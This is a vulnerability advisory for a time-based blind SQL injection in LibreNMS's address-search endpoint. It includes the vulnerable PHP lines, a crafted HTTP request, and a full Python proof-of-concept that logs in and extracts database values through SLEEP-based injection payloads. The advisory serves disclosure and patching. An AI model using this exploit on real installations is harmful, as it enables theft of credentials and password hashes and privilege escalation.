CVE-2026-26990: LibreNMS has Time-Based Blind SQL Injection in address-search.inc.php

Summary A time-based blind SQL injection vulnerability exists in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.

Details This vulnerability requires authentication and is exploitable by any authenticated user.

The vulnerable endpoint is at /ajaxtable.php with the following request displaying the injection point. POST /ajaxtable.php HTTP/1.1 Host: 192.168.236.131 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.236.131 Connection: keep-alive Referer: http://192.168.236.131/search Cookie: laravelsession=[Authenticated user cookie]

current=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&searchtype=ipv4&deviceid=1&interface=&address=127.0.0.1/aa<injected SQL here>

Within includes/html/table/address-search.inc.php, the user-controlled $prefix variable derived from the address parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.

php // Lines 16-35, 51-53 $address = $vars['address'] ?? ''; $prefix = ''; $sort = trim((string) $sort);

if (strcontains($address, '/')) { [$address, $prefix] = explode('/', $address, 2); }

if ($searchtype == 'ipv4') { $sql = ' FROM ipv4addresses AS A, ports AS I, devices AS D'; $sql .= ' WHERE I.portid = A.portid AND I.deviceid = D.deviceid ' . $where . ' ';

if (! empty($address)) { $sql .= ' AND ipv4address LIKE ?'; $param[] = "%$address%"; }

if (! empty($prefix)) { $sql .= " AND ipv4prefixlen='$prefix'"; }

......

if (! empty($prefix)) { $sql .= " AND ipv6prefixlen = '$prefix'"; }

PoC The following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of SELECT CURRENTUSER() from the database: python #!/usr/bin/python3

import requests import sys import re

from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disablewarnings(category=InsecureRequestWarning)

Configured to be used with burpsuite on the default burpsuite port of 8080 proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

When None is returned it means that all values have been retrieved from the queried value in the target DB def blindbinsearchsqli(injstr): try: a = range(32,126) start = 0 end = len(a) while start <= end: mid = (start + end) // 2 targetequal = injstr.replace("[CHAR]", str(a[mid])) targetless = injstr.replace("=[CHAR]", f"<{a[mid]}")

# Return ascii decimal value for storing to a local string buffer if condition(targetequal): return a[mid] # Use lower half of the "a" array elif condition(targetless): end = mid - 1 # Use upper half of the "a" array else: start = mid + 1 return None except IndexError: return None

Check injection result def condition(payload): exploitdata = { "current": "1", "rowCount": "50", "sort[hostname]": "asc", "searchPhrase": "", "id": "address-search", "searchtype": "ipv4", "deviceid": "1", "interface": "", "address": f"127.0.0.1/aa{payload}" } # Payload must be slotted in somewhere in this code payloadurl = f"{url}/ajaxtable.php"

r = s.post(payloadurl, data=exploitdata)

elapsedtimeseconds = r.elapsed.totalseconds()

# If response time is within sleep function delay range of +1 or -1 second the query returned "true" if (elapsedtimeseconds + 1) > (sleepdelay 2) and (elapsedtimeseconds - 1) < (sleepdelay 2): return True else: return False

def getlength(inj): length = 0 print(f"(+) Getting the length of \"{inj}\"") while True: # MySQL #lengthinjectionstring = f" AND LENGTH(({inj}))={str(length)}-- -" lengthinjectionstring = f"' AND (SELECT 1 FROM (SELECT IF(LENGTH(({inj}))={str(length)},SLEEP({sleepdelay}),0))x) AND '1'='1"

boolvalue = condition(lengthinjectionstring)

if boolvalue == False: length += 1 else: return length

def injection(injectqry): extracted = "" length = getlength(injectqry) print(f"Length of \"{injectqry}\": {length}") print(f"(+) Retrieving the value for \"{injectqry}\"")

# +2 to length in order to automatically stop the injection once the None value is returned, meaning that the whole query value is extracted for i in range(1, length + 2): # MySQL injectionstring = f"' AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(({injectqry}),{i},1))=[CHAR],SLEEP({sleepdelay}),0))x) AND '1'='1"

retrievedvalue = blindbinsearchsqli(injectionstring)

if retrievedvalue: extracted += chr(retrievedvalue) extractedchar = chr(retrievedvalue) print(extractedchar, flush=True, end="") elif retrievedvalue == None: print("\n(+) done!\n") return extracted

global url global s global sleepdelay global username global password

Default sleep delay, due to injection query used the response time will be sleepdelay 2 sleepdelay = 1.5

s = requests.Session()

HTTPS s.verify = False

Toggle debug proxy #s.proxies.update(proxies)

url = "http://192.168.236.131"

username = "tester2" password = "Adminbazinga"

if len(sys.argv) > 1: url = sys.argv[1] if len(sys.argv) > 2: username = sys.argv[2] if len(sys.argv) > 3: password = sys.argv[3] if len(sys.argv) > 4: sleepdelay = float(sys.argv[4])

r = s.get(url + "/login")

logintoken = re.search(r"name=\"token\"\s+value=\"([^\"]+)\"", r.text).group(1)

logindata = { "token": logintoken, "username": username, "password": password, "submit": "" }

r = s.post(url + "/login", data=logindata)

Example: python3 script.py http://127.0.0.1 username password 1.5 if name == "main": injection("SELECT CURRENTUSER()")

Tester user role: <img width="771" height="154" alt="image" src="https://github.com/user-attachments/assets/fe13754c-9a41-48cb-934d-575097675c13" />

Example usage of PoC script: <img width="924" height="104" alt="image" src="https://github.com/user-attachments/assets/6b1e19a9-4c73-4e44-8e16-851ff92d5960" />

Impact Any authenticated user can exploit this vulnerability to extract sensitive information from the back-end database using time‑based blind SQL injection techniques. This leads to unauthorised disclosure of database contents, including schema information and potentially sensitive application data. An attacker can retrieve privileged accounts (e.g. administrative usernames) and their associated password hashes, potentially leading to privilege escalation within LibreNMS by cracking the password hashes and obtaining plaintext admin user credentials.